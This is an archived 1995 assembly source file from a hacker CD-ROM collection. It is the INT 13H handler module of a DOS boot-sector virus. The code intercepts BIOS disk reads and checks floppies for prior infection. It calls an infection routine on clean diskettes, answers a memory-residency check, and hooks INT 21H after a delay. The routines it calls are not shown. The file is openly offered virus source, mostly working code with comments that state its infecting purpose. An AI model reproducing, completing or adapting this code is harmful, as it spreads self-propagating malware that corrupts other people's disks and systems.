home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / MPOLICE / INT13H.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-01  |  3.8 KB  |  86 lines

  1. ;*******************************************************************************
  2. ;* INTERRUPT 13H HANDLER                                                       *
  3. ;*******************************************************************************
  4.  
  5. OLD_13H DD      ?                       ;Old interrupt 13H vector goes here
  6.  
  7. INT_13H:
  8.         call    INT_21H_HOOKER          ;Hook interrupt 21H if it's time
  9.         sti
  10.         cmp     ah,2                    ;we want to intercept reads
  11.         jz      READ_FUNCTION
  12.         cmp     ax,75A9H                ;check for virus installed in RAM
  13.         jnz     I13R                    ;not check, pass to original handler
  14.         clc                             ;else return with carry cleared
  15.         retf    2
  16. I13R:   jmp     DWORD PTR cs:[OLD_13H]
  17.  
  18. ;*******************************************************************************
  19. ;This section of code handles all attempts to access the Disk BIOS Function 2.
  20. ;If an attempt is made to read the boot sector on the floppy, and
  21. ;the motor is off, this routine checks to see if the floppy has
  22. ;already been infected, and if not, it goes ahead and infects it.
  23. ;
  24. READ_FUNCTION:                                  ;Disk Read Function Handler
  25.         cmp     dh,0                            ;is it head 0?
  26.         jnz     I13R                            ;nope, let BIOS handle it
  27.         cmp     cx,1                            ;is it track 0, sector 1?
  28.         jnz     I13R                            ;no, let BIOS handle it
  29.         cmp     dl,80H                          ;no, is it hard drive c:?
  30.         jz      I13R                            ;yes, let BIOS handle it
  31.         mov     cs:[CURR_DISK],dl               ;save currently accessed drive #
  32. ;        call    CHECK_MOTOR                     ;is diskette motor on?
  33. ;        jnz     I13R                            ;yes, pass control to BIOS
  34.         call    CHECK_DISK                      ;is floppy already infected?
  35.         jz      I13R                            ;yes, pass control to BIOS
  36.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  37.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  38.         jmp     I13R
  39.  
  40.  
  41. ;The following routine hooks interrupt 21H when DOS installs. The Interrupt 21H
  42. ;hook itself is in the INT21H.ASM module. This routine actually hooks the
  43. ;interrupt when it sees that the segment for the Int 21H vector is greater than
  44. ;70H, and when it hasn't already hooked it.
  45.  
  46. DELAYCNT        EQU     30                      ;time before hooking, in seconds
  47.  
  48. INT_21H_HOOKER:
  49.         cmp     cs:[HOOK21],1                   ;already hooked?
  50.         je      I21HR                           ;yes, don't hook twice
  51.         push    es
  52.         push    ds
  53.         push    si
  54.         push    di
  55.         push    dx
  56.         push    ax
  57.         push    cs
  58.         pop     es
  59.         xor     ax,ax
  60.         mov     ds,ax
  61.         mov     si,46CH
  62.         mov     ax,WORD PTR [si]
  63.         mov     dx,WORD PTR [si+2]
  64.         sub     dx,WORD PTR cs:[LOAD_TIME+2]
  65.         sbb     ax,WORD PTR cs:[LOAD_TIME]
  66.         cmp     ax,18*DELAYCNT                  ;90 seconds after load?
  67.         jl      I21HX                           ;not yet, just exit
  68.         mov     si,84H                          ;else go hook it
  69.         mov     ax,[si+2]                       ;get int 21H vector segment
  70.         mov     di,OFFSET OLD_21H
  71.         movsw                                   ;set up OLD_21H
  72.         movsw
  73.         mov     [si-4],OFFSET INT_21H           ;set new INT 21H vector
  74.         mov     [si-2],cs
  75.         mov     cs:[HOOK21],1
  76. I21HX:  pop     ax
  77.         pop     dx
  78.         pop     di
  79.         pop     si
  80.         pop     ds
  81.         pop     es
  82. I21HR:  ret
  83.  
  84. HOOK21  DB      0                       ;flag to see if 21H already hooked 1=yes
  85.  
  86.